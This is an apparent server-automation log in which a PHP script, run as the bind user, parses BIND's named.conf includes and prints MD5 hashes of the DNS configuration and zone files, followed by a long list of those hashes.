MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:47:44: Establishing a connection
2026-04-28 14:47:44: 

PUT: /tmp/pkp237275

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:47:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp237275; rm /tmp/pkp237275'

2026-04-28 14:47:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
